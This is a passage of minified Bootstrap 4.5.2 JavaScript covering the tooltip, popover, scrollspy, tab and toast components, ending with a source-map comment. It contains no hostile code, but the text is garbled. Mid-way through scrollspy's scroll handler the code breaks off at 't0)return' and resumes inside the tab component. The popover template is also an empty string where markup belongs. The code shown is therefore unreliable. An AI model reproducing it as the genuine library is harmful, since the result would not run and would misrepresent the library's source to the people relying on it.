d=function(){t.config.animation&&t._fixTransition();var n=t._hoverState;t._hoverState=null,e(t.element).trigger(t.constructor.Event.SHOWN),"out"===n&&t._leave(null,t)};if(e(this.tip).hasClass("fade")){var f=a.getTransitionDurationFromElement(this.tip);e(this.tip).one(a.TRANSITION_END,d).emulateTransitionEnd(f)}else d()}},i.hide=function(t){var n=this,i=this.getTipElement(),o=e.Event(this.constructor.Event.HIDE),s=function(){"show"!==n._hoverState&&i.parentNode&&i.parentNode.removeChild(i),n._cleanTipClass(),n.element.removeAttribute("aria-describedby"),e(n.element).trigger(n.constructor.Event.HIDDEN),null!==n._popper&&n._popper.destroy(),t&&t()};if(e(this.element).trigger(o),!o.isDefaultPrevented()){if(e(i).removeClass("show"),"ontouchstart"in document.documentElement&&e(document.body).children().off("mouseover",null,e.noop),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,e(this.tip).hasClass("fade")){var r=a.getTransitionDurationFromElement(i);e(i).one(a.TRANSITION_END,s).emulateTransitionEnd(r)}else s();this._hoverState=""}},i.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},i.isWithContent=function(){return Boolean(this.getTitle())},i.addAttachmentClass=function(t){e(this.getTipElement()).addClass("bs-tooltip-"+t)},i.getTipElement=function(){return this.tip=this.tip||e(this.config.template)[0],this.tip},i.setContent=function(){var t=this.getTipElement();this.setElementContent(e(t.querySelectorAll(".tooltip-inner")),this.getTitle()),e(t).removeClass("fade show")},i.setElementContent=function(t,n){"object"!=typeof n||!n.nodeType&&!n.jquery?this.config.html?(this.config.sanitize&&(n=Q(n,this.config.whiteList,this.config.sanitizeFn)),t.html(n)):t.text(n):this.config.html?e(n).parent().is(t)||t.empty().append(n):t.text(e(n).text())},i.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},i._getPopperConfig=function(t){var e=this;return s({},{placement:t,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:".arrow"},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){return e._handlePopperPlacementChange(t)}},this.config.popperConfig)},i._getOffset=function(){var t=this,e={};return"function"==typeof this.config.offset?e.fn=function(e){return e.offsets=s({},e.offsets,t.config.offset(e.offsets,t.element)||{}),e}:e.offset=this.config.offset,e},i._getContainer=function(){return!1===this.config.container?document.body:a.isElement(this.config.container)?e(this.config.container):e(document).find(this.config.container)},i._getAttachment=function(t){return V[t.toUpperCase()]},i._setListeners=function(){var t=this;this.config.trigger.split(" ").forEach((function(n){if("click"===n)e(t.element).on(t.constructor.Event.CLICK,t.config.selector,(function(e){return t.toggle(e)}));else if("manual"!==n){var i="hover"===n?t.constructor.Event.MOUSEENTER:t.constructor.Event.FOCUSIN,o="hover"===n?t.constructor.Event.MOUSELEAVE:t.constructor.Event.FOCUSOUT;e(t.element).on(i,t.config.selector,(function(e){return t._enter(e)})).on(o,t.config.selector,(function(e){return t._leave(e)}))}})),this._hideModalHandler=function(){t.element&&t.hide()},e(this.element).closest(".modal").on("hide.bs.modal",this._hideModalHandler),this.config.selector?this.config=s({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},i._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},i._enter=function(t,n){var i=this.constructor.DATA_KEY;(n=n||e(t.currentTarget).data(i))||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),e(t.currentTarget).data(i,n)),t&&(n._activeTrigger["focusin"===t.type?"focus":"hover"]=!0),e(n.getTipElement()).hasClass("show")||"show"===n._hoverState?n._hoverState="show":(clearTimeout(n._timeout),n._hoverState="show",n.config.delay&&n.config.delay.show?n._timeout=setTimeout((function(){"show"===n._hoverState&&n.show()}),n.config.delay.show):n.show())},i._leave=function(t,n){var i=this.constructor.DATA_KEY;(n=n||e(t.currentTarget).data(i))||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),e(t.currentTarget).data(i,n)),t&&(n._activeTrigger["focusout"===t.type?"focus":"hover"]=!1),n._isWithActiveTrigger()||(clearTimeout(n._timeout),n._hoverState="out",n.config.delay&&n.config.delay.hide?n._timeout=setTimeout((function(){"out"===n._hoverState&&n.hide()}),n.config.delay.hide):n.hide())},i._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},i._getConfig=function(t){var n=e(this.element).data();return Object.keys(n).forEach((function(t){-1!==M.indexOf(t)&&delete n[t]})),"number"==typeof(t=s({},this.constructor.Default,n,"object"==typeof t&&t?t:{})).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),a.typeCheckConfig(B,t,this.constructor.DefaultType),t.sanitize&&(t.template=Q(t.template,t.whiteList,t.sanitizeFn)),t},i._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},i._cleanTipClass=function(){var t=e(this.getTipElement()),n=t.attr("class").match(U);null!==n&&n.length&&t.removeClass(n.join(""))},i._handlePopperPlacementChange=function(t){this.tip=t.instance.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(t.placement))},i._fixTransition=function(){var t=this.getTipElement(),n=this.config.animation;null===t.getAttribute("x-placement")&&(e(t).removeClass("fade"),this.config.animation=!1,this.hide(),this.show(),this.config.animation=n)},t._jQueryInterface=function(n){return this.each((function(){var i=e(this).data("bs.tooltip"),o="object"==typeof n&&n;if((i||!/dispose|hide/.test(n))&&(i||(i=new t(this,o),e(this).data("bs.tooltip",i)),"string"==typeof n)){if("undefined"==typeof i[n])throw new TypeError('No method named "'+n+'"');i[n]()}}))},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}},{key:"Default",get:function(){return z}},{key:"NAME",get:function(){return B}},{key:"DATA_KEY",get:function(){return"bs.tooltip"}},{key:"Event",get:function(){return K}},{key:"EVENT_KEY",get:function(){return".bs.tooltip"}},{key:"DefaultType",get:function(){return W}}]),t}();e.fn[B]=X._jQueryInterface,e.fn[B].Constructor=X,e.fn[B].noConflict=function(){return e.fn[B]=H,X._jQueryInterface};var Y="popover",$=e.fn[Y],J=new RegExp("(^|\\s)bs-popover\\S+","g"),G=s({},X.Default,{placement:"right",trigger:"click",content:"",template:''}),Z=s({},X.DefaultType,{content:"(string|element|function)"}),tt={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"},et=function(t){var n,i;function s(){return t.apply(this,arguments)||this}i=t,(n=s).prototype=Object.create(i.prototype),n.prototype.constructor=n,n.__proto__=i;var r=s.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(t){e(this.getTipElement()).addClass("bs-popover-"+t)},r.getTipElement=function(){return this.tip=this.tip||e(this.config.template)[0],this.tip},r.setContent=function(){var t=e(this.getTipElement());this.setElementContent(t.find(".popover-header"),this.getTitle());var n=this._getContent();"function"==typeof n&&(n=n.call(this.element)),this.setElementContent(t.find(".popover-body"),n),t.removeClass("fade show")},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var t=e(this.getTipElement()),n=t.attr("class").match(J);null!==n&&n.length>0&&t.removeClass(n.join(""))},s._jQueryInterface=function(t){return this.each((function(){var n=e(this).data("bs.popover"),i="object"==typeof t?t:null;if((n||!/dispose|hide/.test(t))&&(n||(n=new s(this,i),e(this).data("bs.popover",n)),"string"==typeof t)){if("undefined"==typeof n[t])throw new TypeError('No method named "'+t+'"');n[t]()}}))},o(s,null,[{key:"VERSION",get:function(){return"4.5.2"}},{key:"Default",get:function(){return G}},{key:"NAME",get:function(){return Y}},{key:"DATA_KEY",get:function(){return"bs.popover"}},{key:"Event",get:function(){return tt}},{key:"EVENT_KEY",get:function(){return".bs.popover"}},{key:"DefaultType",get:function(){return Z}}]),s}(X);e.fn[Y]=et._jQueryInterface,e.fn[Y].Constructor=et,e.fn[Y].noConflict=function(){return e.fn[Y]=$,et._jQueryInterface};var nt="scrollspy",it=e.fn[nt],ot={offset:10,method:"auto",target:""},st={offset:"number",method:"string",target:"(string|element)"},rt=function(){function t(t,n){var i=this;this._element=t,this._scrollElement="BODY"===t.tagName?window:t,this._config=this._getConfig(n),this._selector=this._config.target+" .nav-link,"+this._config.target+" .list-group-item,"+this._config.target+" .dropdown-item",this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,e(this._scrollElement).on("scroll.bs.scrollspy",(function(t){return i._process(t)})),this.refresh(),this._process()}var n=t.prototype;return n.refresh=function(){var t=this,n=this._scrollElement===this._scrollElement.window?"offset":"position",i="auto"===this._config.method?n:this._config.method,o="position"===i?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight(),[].slice.call(document.querySelectorAll(this._selector)).map((function(t){var n,s=a.getSelectorFromElement(t);if(s&&(n=document.querySelector(s)),n){var r=n.getBoundingClientRect();if(r.width||r.height)return[e(n)[i]().top+o,s]}return null})).filter((function(t){return t})).sort((function(t,e){return t[0]-e[0]})).forEach((function(e){t._offsets.push(e[0]),t._targets.push(e[1])}))},n.dispose=function(){e.removeData(this._element,"bs.scrollspy"),e(this._scrollElement).off(".bs.scrollspy"),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null},n._getConfig=function(t){if("string"!=typeof(t=s({},ot,"object"==typeof t&&t?t:{})).target&&a.isElement(t.target)){var n=e(t.target).attr("id");n||(n=a.getUID(nt),e(t.target).attr("id",n)),t.target="#"+n}return a.typeCheckConfig(nt,t,st),t},n._getScrollTop=function(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop},n._getScrollHeight=function(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)},n._getOffsetHeight=function(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height},n._process=function(){var t=this._getScrollTop()+this._config.offset,e=this._getScrollHeight(),n=this._config.offset+e-this._getOffsetHeight();if(this._scrollHeight!==e&&this.refresh(),t>=n){var i=this._targets[this._targets.length-1];this._activeTarget!==i&&this._activate(i)}else{if(this._activeTarget&&t0)return this._activeTarget=null,void this._clear();for(var o=this._offsets.length;o--;){this._activeTarget!==this._targets[o]&&t>=this._offsets[o]&&("undefined"==typeof this._offsets[o+1]||t li > .active":".active";i=(i=e.makeArray(e(o).find(r)))[i.length-1]}var l=e.Event("hide.bs.tab",{relatedTarget:this._element}),c=e.Event("show.bs.tab",{relatedTarget:i});if(i&&e(i).trigger(l),e(this._element).trigger(c),!c.isDefaultPrevented()&&!l.isDefaultPrevented()){s&&(n=document.querySelector(s)),this._activate(this._element,o);var h=function(){var n=e.Event("hidden.bs.tab",{relatedTarget:t._element}),o=e.Event("shown.bs.tab",{relatedTarget:i});e(i).trigger(n),e(t._element).trigger(o)};n?this._activate(n,n.parentNode,h):h()}}},n.dispose=function(){e.removeData(this._element,"bs.tab"),this._element=null},n._activate=function(t,n,i){var o=this,s=(!n||"UL"!==n.nodeName&&"OL"!==n.nodeName?e(n).children(".active"):e(n).find("> li > .active"))[0],r=i&&s&&e(s).hasClass("fade"),l=function(){return o._transitionComplete(t,s,i)};if(s&&r){var c=a.getTransitionDurationFromElement(s);e(s).removeClass("show").one(a.TRANSITION_END,l).emulateTransitionEnd(c)}else l()},n._transitionComplete=function(t,n,i){if(n){e(n).removeClass("active");var o=e(n.parentNode).find("> .dropdown-menu .active")[0];o&&e(o).removeClass("active"),"tab"===n.getAttribute("role")&&n.setAttribute("aria-selected",!1)}if(e(t).addClass("active"),"tab"===t.getAttribute("role")&&t.setAttribute("aria-selected",!0),a.reflow(t),t.classList.contains("fade")&&t.classList.add("show"),t.parentNode&&e(t.parentNode).hasClass("dropdown-menu")){var s=e(t).closest(".dropdown")[0];if(s){var r=[].slice.call(s.querySelectorAll(".dropdown-toggle"));e(r).addClass("active")}t.setAttribute("aria-expanded",!0)}i&&i()},t._jQueryInterface=function(n){return this.each((function(){var i=e(this),o=i.data("bs.tab");if(o||(o=new t(this),i.data("bs.tab",o)),"string"==typeof n){if("undefined"==typeof o[n])throw new TypeError('No method named "'+n+'"');o[n]()}}))},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}}]),t}();e(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',(function(t){t.preventDefault(),lt._jQueryInterface.call(e(this),"show")})),e.fn.tab=lt._jQueryInterface,e.fn.tab.Constructor=lt,e.fn.tab.noConflict=function(){return e.fn.tab=at,lt._jQueryInterface};var ct=e.fn.toast,ht={animation:"boolean",autohide:"boolean",delay:"number"},ut={animation:!0,autohide:!0,delay:500},dt=function(){function t(t,e){this._element=t,this._config=this._getConfig(e),this._timeout=null,this._setListeners()}var n=t.prototype;return n.show=function(){var t=this,n=e.Event("show.bs.toast");if(e(this._element).trigger(n),!n.isDefaultPrevented()){this._clearTimeout(),this._config.animation&&this._element.classList.add("fade");var i=function(){t._element.classList.remove("showing"),t._element.classList.add("show"),e(t._element).trigger("shown.bs.toast"),t._config.autohide&&(t._timeout=setTimeout((function(){t.hide()}),t._config.delay))};if(this._element.classList.remove("hide"),a.reflow(this._element),this._element.classList.add("showing"),this._config.animation){var o=a.getTransitionDurationFromElement(this._element);e(this._element).one(a.TRANSITION_END,i).emulateTransitionEnd(o)}else i()}},n.hide=function(){if(this._element.classList.contains("show")){var t=e.Event("hide.bs.toast");e(this._element).trigger(t),t.isDefaultPrevented()||this._close()}},n.dispose=function(){this._clearTimeout(),this._element.classList.contains("show")&&this._element.classList.remove("show"),e(this._element).off("click.dismiss.bs.toast"),e.removeData(this._element,"bs.toast"),this._element=null,this._config=null},n._getConfig=function(t){return t=s({},ut,e(this._element).data(),"object"==typeof t&&t?t:{}),a.typeCheckConfig("toast",t,this.constructor.DefaultType),t},n._setListeners=function(){var t=this;e(this._element).on("click.dismiss.bs.toast",'[data-dismiss="toast"]',(function(){return t.hide()}))},n._close=function(){var t=this,n=function(){t._element.classList.add("hide"),e(t._element).trigger("hidden.bs.toast")};if(this._element.classList.remove("show"),this._config.animation){var i=a.getTransitionDurationFromElement(this._element);e(this._element).one(a.TRANSITION_END,n).emulateTransitionEnd(i)}else n()},n._clearTimeout=function(){clearTimeout(this._timeout),this._timeout=null},t._jQueryInterface=function(n){return this.each((function(){var i=e(this),o=i.data("bs.toast");if(o||(o=new t(this,"object"==typeof n&&n),i.data("bs.toast",o)),"string"==typeof n){if("undefined"==typeof o[n])throw new TypeError('No method named "'+n+'"');o[n](this)}}))},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}},{key:"DefaultType",get:function(){return ht}},{key:"Default",get:function(){return ut}}]),t}();e.fn.toast=dt._jQueryInterface,e.fn.toast.Constructor=dt,e.fn.toast.noConflict=function(){return e.fn.toast=ct,dt._jQueryInterface},t.Alert=h,t.Button=d,t.Carousel=b,t.Collapse=C,t.Dropdown=I,t.Modal=P,t.Popover=et,t.Scrollspy=rt,t.Tab=lt,t.Toast=dt,t.Tooltip=X,t.Util=a,Object.defineProperty(t,"__esModule",{value:!0})})); 7 | //# sourceMappingURL=bootstrap.min.js.map --------------------------------------------------------------------------------